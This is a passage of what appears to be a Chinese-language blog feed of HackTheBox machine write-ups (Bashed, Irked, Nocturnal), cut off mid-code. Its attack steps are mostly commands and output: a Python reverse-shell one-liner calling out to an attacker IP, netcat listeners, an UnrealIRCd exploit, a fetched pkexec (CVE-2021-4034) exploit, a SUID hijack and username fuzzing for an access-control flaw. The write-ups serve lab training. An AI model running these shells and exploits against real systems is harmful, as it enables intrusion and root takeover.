class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>scriptmanager<span class="token punctuation">)</span></code></pre><p>查找可利用文件，在&#x2F;scripts目录下，找到test.py和test.txt 文件，可以发现test.txt文件的权限为root 创建时间是刚刚，所以可以尝试覆盖test.py来进行提权</p><pre class="language-bash" data-language="bash"><code class="language-bash">scriptmanager@bashed:/var/www/html$ <span class="token function">ls</span> /<span class="token function">ls</span> /bin   etc         lib         media  proc  sbin     sys  varboot  home        lib64       mnt    root  scripts  tmp  vmlinuzdev   initrd.img  lost+found  opt    run   srv      usrscriptmanager@bashed:/scripts$ <span class="token function">ls</span> <span class="token parameter variable">-la</span><span class="token function">ls</span> <span class="token parameter variable">-la</span>total <span class="token number">16</span>drwxrwxr--  <span class="token number">2</span> scriptmanager scriptmanager <span class="token number">4096</span> Jun  <span class="token number">2</span>  <span class="token number">2022</span> <span class="token builtin class-name">.</span>drwxr-xr-x <span class="token number">23</span> root          root          <span class="token number">4096</span> Jun  <span class="token number">2</span>  <span class="token number">2022</span> <span class="token punctuation">..</span>-rw-r--r--  <span class="token number">1</span> scriptmanager scriptmanager  <span class="token number">213</span> Apr <span class="token number">21</span> 08:22 test.py-rw-r--r--  <span class="token number">1</span> root          root            <span class="token number">12</span> Apr <span class="token number">21</span> 08:22 test.txt</code></pre><p>使用python反弹shell命令覆盖test.py 内容，然后等待一会</p><pre class="language-bash" data-language="bash"><code class="language-bash">scriptmanager@bashed:/scripts$ <span class="token builtin class-name">echo</span> <span class="token string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</span> <span class="token operator">></span> test.py<span class="token operator">&lt;</span><span class="token punctuation">(</span><span class="token punctuation">)</span>,2<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">import</span> pty<span class="token punctuation">;</span> pty.spawn<span class="token punctuation">(</span><span class="token string">"/bin/bash"</span><span class="token punctuation">)</span>' <span class="token operator">></span> test.py                         </code></pre><p>成功获得root权限</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">9002</span>Listening on <span class="token number">0.0</span>.0.0 <span class="token number">9002</span>Connection received on <span class="token number">10.10</span>.10.68 <span class="token number">41970</span>root@bashed:/scripts<span class="token comment"># id       </span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;arrexel&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.rkvbvnenutql{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/f52f847/0f058b73659ca043de9f5240abd651ca.png&quot; class=&quot;rkvbvnenutql&quot; alt=&quot;Bashed&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="配置错误" scheme="https://ry0ma24.github.io/tags/%E9%85%8D%E7%BD%AE%E9%94%99%E8%AF%AF/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Irked</title>
    <link href="https://ry0ma24.github.io/posts/b88b7678.html"/>
    <id>https://ry0ma24.github.io/posts/b88b7678.html</id>
    <published>2025-04-19T15:18:00.000Z</published>
    <updated>2025-04-25T08:44:00.913Z</updated>
    
    <content type="html"><![CDATA[<style>.vpbhiqervksb{zoom:50%;}</style><img src="/posts/b88b7678/5fb846e75cf0db0c4b27e2dc64a9bf82.png" class="vpbhiqervksb"><span id="more"></span><table><thead><tr><th align="left">OS</th><th align="left">Difficulty</th></tr></thead><tbody><tr><td align="left">Linux</td><td align="left">Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.117 <span class="token parameter variable">-T4</span> -p- --min-rate <span class="token number">1000</span> <span class="token parameter variable">-sV</span> <span class="token parameter variable">-sC</span>        Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-04-19 <span class="token number">23</span>:18 CSTWarning: <span class="token number">10.10</span>.10.117 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.117Host is up <span class="token punctuation">(</span><span class="token number">0</span>.10s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65130</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>, <span class="token number">398</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT      STATE SERVICE VERSION<span class="token number">22</span>/tcp    <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">6</span>.7p1 Debian <span class="token number">5</span>+deb8u4 <span class="token punctuation">(</span>protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">1024</span> 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad <span class="token punctuation">(</span>DSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">2048</span> <span class="token number">75</span>:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 <span class="token punctuation">(</span>RSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">256</span> c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">80</span>/tcp    <span class="token function">open</span>  http    Apache httpd <span class="token number">2.4</span>.10 <span class="token variable"><span class="token punctuation">((</span>Debian<span class="token punctuation">))</span></span><span class="token operator">|</span>_http-title: Site doesn't have a title <span class="token punctuation">(</span>text/html<span class="token punctuation">)</span>.<span class="token operator">|</span>_http-server-header: Apache/2.4.10 <span class="token punctuation">(</span>Debian<span class="token punctuation">)</span><span class="token number">111</span>/tcp   <span class="token function">open</span>  rpcbind <span class="token number">2</span>-4 <span class="token punctuation">(</span>RPC <span class="token comment">#100000)</span><span class="token operator">|</span> rpcinfo: <span class="token operator">|</span>   program version    port/proto  <span class="token function">service</span><span class="token operator">|</span>   <span class="token number">100000</span>  <span class="token number">2,3</span>,4        <span class="token number">111</span>/tcp   rpcbind<span class="token operator">|</span>   <span class="token number">100000</span>  <span class="token number">2,3</span>,4        <span class="token number">111</span>/udp   rpcbind<span class="token operator">|</span>   <span class="token number">100000</span>  <span class="token number">3,4</span>          <span class="token number">111</span>/tcp6  rpcbind<span class="token operator">|</span>   <span class="token number">100000</span>  <span class="token number">3,4</span>          <span class="token number">111</span>/udp6  rpcbind<span class="token operator">|</span>   <span class="token number">100024</span>  <span class="token number">1</span>          <span class="token number">40082</span>/tcp   status<span class="token operator">|</span>   <span class="token number">100024</span>  <span class="token number">1</span>          <span class="token number">57955</span>/udp6  status<span class="token operator">|</span>   <span class="token number">100024</span>  <span class="token number">1</span>          <span class="token number">59551</span>/udp   status<span class="token operator">|</span>_  <span class="token number">100024</span>  <span class="token number">1</span>          <span class="token number">59805</span>/tcp6  status<span class="token number">6697</span>/tcp  <span class="token function">open</span>  irc     UnrealIRCd<span class="token number">8067</span>/tcp  <span class="token function">open</span>  irc     UnrealIRCd<span class="token number">40082</span>/tcp <span class="token function">open</span>  status  <span class="token number">1</span> <span class="token punctuation">(</span>RPC <span class="token comment">#100024)</span><span class="token number">65534</span>/tcp <span class="token function">open</span>  irc     UnrealIRCdService Info: Host: irked.htb<span class="token punctuation">;</span> OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">130.19</span> seconds</code></pre><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>使用 irc 客户端(hexchat和irssi都可以)访问6697 端口，可以看到连接信息中返回的“Unreal3.2.8.1”</p><img src="/posts/b88b7678/image-20250419231152208.png" class="" title="irc"><p>通过检索，找到exp，修改脚本并执行</p><img src="/posts/b88b7678/image-20250420005219142.png" class="" title="github"><pre class="language-bash" data-language="bash"><code class="language-bash">$ python3 exploit.py <span class="token number">10.10</span>.10.117 <span class="token number">6697</span>  <span class="token parameter variable">-payload</span> python</code></pre><p>成功接收到shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">9001</span>           Listening on <span class="token number">0.0</span>.0.0 <span class="token number">9001</span>Connection received on <span class="token number">10.10</span>.10.117 <span class="token number">37922</span>bash: cannot <span class="token builtin class-name">set</span> terminal process group <span class="token punctuation">(</span><span class="token number">601</span><span class="token punctuation">)</span>: Inappropriate ioctl <span class="token keyword">for</span> devicebash: no job control <span class="token keyword">in</span> this shellircd@irked:~/Unreal3.2$ <span class="token function">id</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ircd<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ircd<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ircd<span class="token punctuation">)</span></code></pre><h3 id="路径一"><a href="#路径一" class="headerlink" title="路径一"></a>路径一</h3><p>查找 root 权限的二进制文件, 找到<code>/usr/bin/pkexec </code>和 <code>/usr/bin/viewuser</code></p><pre class="language-bash" data-language="bash"><code class="language-bash">ircd@irked:~$ <span class="token function">find</span> / <span class="token parameter variable">-user</span> root <span class="token parameter variable">-perm</span> /4000 <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null<span class="token function">find</span> / <span class="token parameter variable">-user</span> root <span class="token parameter variable">-perm</span> /4000 <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null/usr/lib/dbus-1.0/dbus-daemon-launch-helper<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>/usr/bin/pkexec/usr/bin/X/usr/bin/passwd/usr/bin/chfn/usr/bin/viewuser/sbin/mount.nfs/bin/su<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><h4 id="权限提升-方案一"><a href="#权限提升-方案一" class="headerlink" title="权限提升(方案一)"></a>权限提升(方案一)</h4><p>利用<code>/usr/bin/pkexec</code>: 查看目标机器环境中是否有gcc ，下载cve-2021-4034 exp 编译并执行</p><pre class="language-bash" data-language="bash"><code class="language-bash">ircd@irked:~$ gcc <span class="token parameter variable">-v</span>Using built-in specs.<span class="token assign-left variable">COLLECT_GCC</span><span class="token operator">=</span>gcc<span class="token assign-left variable">COLLECT_LTO_WRAPPER</span><span class="token operator">=</span>/usr/lib/gcc/i586-linux-gnu/4.9/lto-wrapperTarget: i586-linux-gnuConfigured with: <span class="token punctuation">..</span>/src/configure <span class="token parameter variable">-v</span> --with-pkgversion<span class="token operator">=</span><span class="token string">'Debian 4.9.2-10+deb8u1'</span> --with-<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Thread model: posixgcc version <span class="token number">4.9</span>.2 <span class="token punctuation">(</span>Debian <span class="token number">4.9</span>.2-10+deb8u1<span class="token punctuation">)</span> ircd@irked:~$ <span class="token builtin class-name">cd</span> /tmpircd@irked:/tmp$ <span class="token function">wget</span> http://10.10.16.24/cve-2021-4034-poc.c --2025-04-19 <span class="token number">11</span>:48:18--  http://10.10.16.24/cve-2021-4034-poc.cConnecting to <span class="token number">10.10</span>.16.24:80<span class="token punctuation">..</span>. connected.HTTP request sent, awaiting response<span class="token punctuation">..</span>. <span class="token number">200</span> OKLength: <span class="token number">1267</span> <span class="token punctuation">(</span><span class="token number">1</span>.2K<span class="token punctuation">)</span> <span class="token punctuation">[</span>text/x-csrc<span class="token punctuation">]</span>Saving to: ‘cve-2021-4034-poc.c’     0K <span class="token builtin class-name">.</span>                                                     <span class="token number">100</span>%  <span class="token assign-left variable">305M</span><span class="token operator">=</span>0s<span class="token number">2025</span>-04-19 <span class="token number">11</span>:48:20 <span class="token punctuation">(</span><span class="token number">305</span> MB/s<span class="token punctuation">)</span> - ‘cve-2021-4034-poc.c’ saved <span class="token punctuation">[</span><span class="token number">1267</span>/1267<span class="token punctuation">]</span>ircd@irked:/tmp$ <span class="token function">ls</span>cve-2021-4034-poc.csystemd-private-76f5017c0bbf4b1a9144ade090a6067e-colord.service-0MGbigsystemd-private-76f5017c0bbf4b1a9144ade090a6067e-cups.service-auGCvesystemd-private-76f5017c0bbf4b1a9144ade090a6067e-rtkit-daemon.service-cvkGJcvmware-rootircd@irked:/tmp$ gcc cve-2021-4034-poc.c <span class="token parameter variable">-o</span> cve-2021-4034-poc gcc cve-2021-4034-poc.c <span class="token parameter variable">-o</span> cve-2021-4034-poc ircd@irked:/tmp$ ./cve-2021-4034-poc                           ./cve-2021-4034-poc<span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span>,1001<span class="token punctuation">(</span>ircd<span class="token punctuation">)</span></code></pre><h4 id="权限提升-方案二"><a href="#权限提升-方案二" class="headerlink" title="权限提升(方案二)"></a>权限提升(方案二)</h4><p>利用<code>/usr/bin/viewuser</code>: 运行命令提示没有找到<code>/tmp/listusers</code> ，创建此文件并添加执行权限，重新运行命令即可提权成功</p><pre class="language-bash" data-language="bash"><code class="language-bash">ircd@irked:~$ /usr/bin/viewuser <span class="token punctuation">(</span>unknown<span class="token punctuation">)</span> :0           <span class="token number">2025</span>-04-19 <span class="token number">10</span>:00 <span class="token punctuation">(</span>:0<span class="token punctuation">)</span>sh: <span class="token number">1</span>: /tmp/listusers: not foundThis application is being devleoped to <span class="token builtin class-name">set</span> and <span class="token builtin class-name">test</span> user permissionsIt is still being actively developedircd@irked:~$ <span class="token builtin class-name">echo</span> <span class="token string">'/bin/sh'</span> <span class="token operator">></span> /tmp/listusers ircd@irked:~$ <span class="token function">chmod</span> +x /tmp/listusersircd@irked:~$ /usr/bin/viewuser<span class="token punctuation">(</span>unknown<span class="token punctuation">)</span> :0           <span class="token number">2025</span>-04-19 <span class="token number">10</span>:00 <span class="token punctuation">(</span>:0<span class="token punctuation">)</span>djmardov pts/0        <span class="token number">2025</span>-04-19 <span class="token number">12</span>:05 <span class="token punctuation">(</span><span class="token number">10.10</span>.16.24<span class="token punctuation">)</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ircd<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ircd<span class="token punctuation">)</span></code></pre><h3 id="路径二"><a href="#路径二" class="headerlink" title="路径二"></a>路径二</h3><p>信息收集：在<code>/home/djmardov/Document</code> 下可以找到 <code>.backup</code>文件</p><pre class="language-bash" data-language="bash"><code class="language-bash">ircd@irked:/home/djmardov/Documents$ <span class="token function">ls</span> <span class="token parameter variable">-la</span>total <span class="token number">12</span>drwxr-xr-x  <span class="token number">2</span> djmardov djmardov <span class="token number">4096</span> Sep  <span class="token number">5</span>  <span class="token number">2022</span> <span class="token builtin class-name">.</span>drwxr-xr-x <span class="token number">18</span> djmardov djmardov <span class="token number">4096</span> Sep  <span class="token number">5</span>  <span class="token number">2022</span> <span class="token punctuation">..</span>-rw-r--r--  <span class="token number">1</span> djmardov djmardov   <span class="token number">52</span> May <span class="token number">16</span>  <span class="token number">2018</span> .backuplrwxrwxrwx  <span class="token number">1</span> root     root       <span class="token number">23</span> Sep  <span class="token number">5</span>  <span class="token number">2022</span> user.txt -<span class="token operator">></span> /home/djmardov/user.txtircd@irked:/home/djmardov/Documents$ <span class="token function">cat</span> .backup<span class="token function">cat</span> .backupSuper elite steg backup pwUPupDOWNdownLRlrBAbaSSss</code></pre><p>访问80端口可以看到，感觉可能是什么隐写术，保存图片并使用steghide提取信息，密码使用<code>.backup</code> 中获取的密码</p><img src="/posts/b88b7678/image-20250420002023056.png" class="" title="web"><p>提取出pass.txt， 使用ssh登录成功</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ steghide extract <span class="token parameter variable">-sf</span> irked.jpg Enter passphrase: wrote extracted data to <span class="token string">"pass.txt"</span><span class="token builtin class-name">.</span>$ <span class="token function">cat</span> pass.txt  Kab6h+m+bbp2J:HG$  <span class="token function">ssh</span> djmardov@10.10.10.117The authenticity of <span class="token function">host</span> <span class="token string">'10.10.10.117 (10.10.10.117)'</span> can't be established.ED25519 key fingerprint is SHA256:Ej828KWlDpyEOvOxHAspautgmarzw646NS31tX3puFg.This key is not known by any other names.Are you sure you want to <span class="token builtin class-name">continue</span> connecting <span class="token punctuation">(</span>yes/no/<span class="token punctuation">[</span>fingerprint<span class="token punctuation">]</span><span class="token punctuation">)</span>? <span class="token function">yes</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Last login: Tue May <span class="token number">15</span> 08:56:32 <span class="token number">2018</span> from <span class="token number">10.33</span>.3.3djmardov@irked:~$ <span class="token function">id</span> <span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>djmardov<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>djmardov<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>djmardov<span class="token punctuation">)</span>,24<span class="token punctuation">(</span>cdrom<span class="token punctuation">)</span>,25<span class="token punctuation">(</span>floppy<span class="token punctuation">)</span>,29<span class="token punctuation">(</span>audio<span class="token punctuation">)</span>,30<span class="token punctuation">(</span>dip<span class="token punctuation">)</span>,44<span class="token punctuation">(</span>video<span class="token punctuation">)</span>,46<span class="token punctuation">(</span>plugdev<span class="token punctuation">)</span>,108<span class="token punctuation">(</span>netdev<span class="token punctuation">)</span>,110<span class="token punctuation">(</span>lpadmin<span class="token punctuation">)</span>,113<span class="token punctuation">(</span>scanner<span class="token punctuation">)</span>,117<span class="token punctuation">(</span>bluetooth<span class="token punctuation">)</span></code></pre><h4 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h4><p>同路径一</p><table><thead><tr><th align="left">Flag</th><th align="left">Path</th></tr></thead><tbody><tr><td align="left">Flag1</td><td align="left">&#x2F;home&#x2F;djmardov&#x2F;user.txt</td></tr><tr><td align="left">Flag2</td><td align="left">&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.vpbhiqervksb{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/b88b7678/5fb846e75cf0db0c4b27e2dc64a9bf82.png&quot; class=&quot;vpbhiqervksb&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
    <category term="密码重用" scheme="https://ry0ma24.github.io/tags/%E5%AF%86%E7%A0%81%E9%87%8D%E7%94%A8/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Nocturnal</title>
    <link href="https://ry0ma24.github.io/posts/5cd9a843.html"/>
    <id>https://ry0ma24.github.io/posts/5cd9a843.html</id>
    <published>2025-04-18T15:42:20.000Z</published>
    <updated>2025-04-25T08:44:00.917Z</updated>
    
    <content type="html"><![CDATA[<style>.amjdbqdkyvyr{zoom:50%;}</style><img src="/posts/5cd9a843/f6a56cec6e9826b4ed124fb4155abc66.png" class="amjdbqdkyvyr"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.11.64 <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span> <span class="token parameter variable">-sV</span> <span class="token parameter variable">-sC</span> Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-04-18 <span class="token number">23</span>:42 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.64Host is up <span class="token punctuation">(</span><span class="token number">0</span>.11s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">998</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">22</span>/tcp <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">8</span>.2p1 Ubuntu 4ubuntu0.12 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">3072</span> <span class="token number">20</span>:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 <span class="token punctuation">(</span>RSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">256</span> 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">80</span>/tcp <span class="token function">open</span>  http    nginx <span class="token number">1.18</span>.0 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span><span class="token operator">|</span>_http-title: Did not follow redirect to http://nocturnal.htb/Service Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">15.09</span> seconds</code></pre><p>在80端口存在 web应用，添加域名到本地解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.11.64 nocturnal.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts </code></pre><h3 id="注册"><a href="#注册" class="headerlink" title="注册"></a>注册</h3><p>访问应用，可以自行注册用户</p><img src="/posts/5cd9a843/image-20250419153519866.png" class="" title="注册"><p>登录后有个上传功能，只支持pdf、doc、docx、xls、xlsx、odt，上传文件后查看文件url为<code>http://nocturnal.htb/view.php?username=admin123&amp;file=shell.php.pdf</code></p><img src="/posts/5cd9a843/image-20250419154125531.png" class="" title="文件上传"><h3 id="FUZZ"><a href="#FUZZ" class="headerlink" title="FUZZ"></a>FUZZ</h3><p>使用ffuf Fuzzing 用户名</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ ffuf <span class="token parameter variable">-w</span> /opt/secLists/Usernames/Names/names.txt:FUZZ <span class="token parameter variable">-u</span> <span class="token string">'http://nocturnal.htb/view.php?username=FUZZ&amp;file=shell.php.pdf'</span> <span class="token parameter variable">-H</span> <span class="token string">'Cookie: PHPSESSID=dldt7f2eqv1ia7j3dieiq69icu'</span>  <span class="token parameter variable">-fs</span> <span class="token number">2985</span>         /<span class="token string">'___\  /'</span>___<span class="token punctuation">\</span>           /'___<span class="token punctuation">\</span>              /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/ /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/  __  __  /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/              <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span><span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>              <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/ <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/               <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>   <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>  <span class="token punctuation">\</span> <span class="token punctuation">\</span>____/  <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>                 <span class="token punctuation">\</span>/_/    <span class="token punctuation">\</span>/_/   <span class="token punctuation">\</span>/___/    <span class="token punctuation">\</span>/_/              v2.1.0-dev________________________________________________ :: Method           <span class="token builtin class-name">:</span> GET :: URL              <span class="token builtin class-name">:</span> http://nocturnal.htb/view.php?username<span class="token operator">=</span>FUZZ<span class="token operator">&amp;</span><span class="token assign-left variable">file</span><span class="token operator">=</span>shell.php.pdf :: Wordlist         <span class="token builtin class-name">:</span> FUZZ: /opt/secLists/Usernames/Names/names.txt :: Header           <span class="token builtin class-name">:</span> Cookie: <span class="token assign-left variable">PHPSESSID</span><span class="token operator">=</span>dldt7f2eqv1ia7j3dieiq69icu :: Follow redirects <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Calibration      <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Timeout          <span class="token builtin class-name">:</span> <span class="token number">10</span> :: Threads          <span class="token builtin class-name">:</span> <span class="token number">40</span> :: Matcher          <span class="token builtin class-name">:</span> Response status: <span class="token number">200</span>-299,301,302,307,401,403,405,500 :: Filter           <span class="token builtin class-name">:</span> Response size: <span class="token number">2985</span>________________________________________________admin                   <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">3037</span>, Words: <span class="token number">1174</span>, Lines: <span class="token number">129</span>, Duration: 85ms<span class="token punctuation">]</span>amanda                  <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">3355</span>, Words: <span class="token number">1178</span>, Lines: <span class="token number">129</span>, Duration: 84ms<span class="token punctuation">]</span>tobias                  <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">3037</span>, Words: <span class="token number">1174</span>, Lines: <span class="token number">129</span>, Duration: 86ms<span class="token punctuation">]</span>:: Progress: <span class="token punctuation">[</span><span class="token number">10177</span>/10177<span class="token punctuation">]</span> :: Job <span class="token punctuation">[</span><span class="token number">1</span>/1<span class="token punctuation">]</span> :: <span class="token number">452</span> req/sec :: Duration: <span class="token punctuation">[</span><span class="token number">0</span>:00:22<span class="token punctuation">]</span> :: Errors: <span class="token number">0</span> ::</code></pre><h3 id="越权"><a href="#越权" class="headerlink" title="越权"></a>越权</h3><p>访问fuzz出的用户名，在amanda账户下可以看到privacy.odt</p><img src="/posts/5cd9a843/image-20250419161728361.png" class="" title="越权"><p>下载并使用LibreOffice 打开可以找到密码</p><img src="/posts/5cd9a843/image-20250419161912039.png" class="" title="odt"><p>使用amanda 登录，可以跳转到admin pannel，有备份功能</p><img src="/posts/5cd9a843/image-20250419162240539.png" class="" title="管理页面"><p>下载备份文件</p><img src="/posts/5cd9a843/image-20250419162632127.png" class="" title="备份"><h3 id="代码审计"><a href="#代码审计" class="headerlink" title="代码审计"></a>代码审计</h3><p>在admin.php中创建备份设置密码参数直接拼接进命令中，所以存在命令注入</p><pre class="language-PHP" data-language="PHP"><code class="language-PHP">&lt;...&gt;&lt;?phpif (isset($_POST[&#39;backup&#39;]) &amp;&amp; !empty($_POST[&#39;password&#39;])) &#123;    $password &#x3D; cleanEntry($_POST[&#39;password&#39;]);    $backupFile &#x3D; 